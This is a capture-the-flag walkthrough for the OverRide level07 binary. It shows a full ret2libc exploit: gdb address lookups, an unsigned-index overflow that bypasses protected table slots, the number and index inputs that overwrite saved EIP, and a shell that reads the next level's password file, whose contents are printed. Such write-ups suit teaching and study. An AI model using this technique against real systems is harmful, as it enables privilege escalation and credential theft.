Ret2Libc attack on unprotected data table
We find a binary with owner level08 and SUID.
level07@OverRide:~$ ls -l
-rwsr-s---+ 1 level08 users 11744 Sep 10 2016 level07
The program takes a number and index as input, which it stores or reads from a table.
level07@OverRide:~$ ./level07
----------------------------------------------------
Welcome to wil's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
wil has reserved some storage :>
----------------------------------------------------
Input command: store
Number: 42
Index: 1
Completed store command successfully
Input command: read
Index: 1
Number at data[1] is 42
Completed read command successfully
Input command: store
Number: -42
Index: 2
Completed store command successfully
See dissasembly notes for detailed gdb assembly breakdown.
We can see the program erases arguments and environment variables, thus protecting against:
- passing malicious shellcode as arguments to the program
- storing malicious shellcode in environment variables
We also know the following:
- the program creates a data table, where it stores numbers at indexes
- some indexes (index % 3 == 0) are protected
Vulnerability: no check is performed on indexes and an unsigned int table is stored on the stack. This means we can read and store in stack memory.
Our plan is to do a ret2libc attack, by overwriting the index containing EIP with a call to system() + exit() + "/bin/sh".
- find the address of system, exit, bin/sh
- calculate the 'index' of EIP
- use maxint overflow to access protected indexes
- run exploit by inputting malicious number + index to running program
level07@OverRide:~$ gdb -q level07
(gdb) b*main
Breakpoint 1 at 0x8048723
(gdb) run
[...]
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e6aed0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e5eb70 <exit>
(gdb) find &system,+9999999,"/bin/sh"
0xf7f897ec
warning: Unable to access target memory at 0xf7fd3b74, halting search.
1 pattern found.
(gdb) x/s 0xf7f897ec
0xf7f897ec: "/bin/sh"
Ok, here are our addresses:
system()is at0xf7e6aed0exit()is at0xf7e5eb70"/bin/sh"is at0xf7f897ec
Once we find the index in the table where we reach EIP, we can then store our payload there using store_number().
EIP's return address in the main() function is 0xffffd6bc.
(gdb) info frame
Stack level 0, frame at 0xffffd6c0:
eip = 0x8048723 in main; saved eip 0xf7e45513
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0xffffd6c0
Saved registers:
eip at 0xffffd6bc
The table's address is 0xffffd4f4.
(gdb) b*store_number+6
(gdb) r
[...]
Input command: store
(gdb) p $ebp+0x8
$1 = (void *) 0xffffd4d0 # int *data
(gdb) x/a 0xffffd4d0
0xffffd4d0: 0xffffd4f4 # data[0]
Next, we need to calculate the 'index' of our EIP address.
0xffffd63c - 0xffffd474 = int(0x1c8) = 456
[eip_address] [table_address] [bytes]
456 / 4 = 114
[index in table]
114 % 3 = 0
Ah... index 114 is protected: 114 % 3 = 0. We can't store a number at this index.
On lines 152-158 of the disassembled binary, we see that the table is accessed as data[index * 4].
Since the index is an unsigned int and multiplied by 4, we can overflow uintmax to give the index where we want to go.
0x100000000 = 2^32
[size of uintmax]
(2^32 / 4) + 114 = 1073741938
[index 114, after overflow]
1073741938 % 3 = 1
Index 1073741938 is unprotected!
Let's test it out by causing the program to segfault.
(gdb) run
Input command: store
Number: 1094795585 # decimal for 0x41414141 or 'AAAA'
Index: 1073741938 # index 114
Completed store command successfully
Input command: quit
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Let's structure our exploit:
[ address of EIP ] = [ address of system ] [ address of exit ] [ address of "/bin/sh" ]
0xffffd6bc 0xf7e6aed0 0xf7e5eb70 0xf7f897ec # address
4159090384 4159040368 4160264172 # in decimal, to be number input
| | |
1073741938 115 115 # index to use
data[114] data[115] data[116]
Let's give it a go!
level07@OverRide:~$ ./level07
----------------------------------------------------
Welcome to wil's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
wil has reserved some storage :>
----------------------------------------------------
Input command: store
Number: 4159090384
Index: 1073741938
Completed store command successfully
Input command: store
Number: 4159040368
Index: 115
Completed store command successfully
Input command: store
Number: 4160264172
Index: 116
Completed store command successfully
Input command: quit
$ whoami
level08
$ cat /home/users/level08/.pass
7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC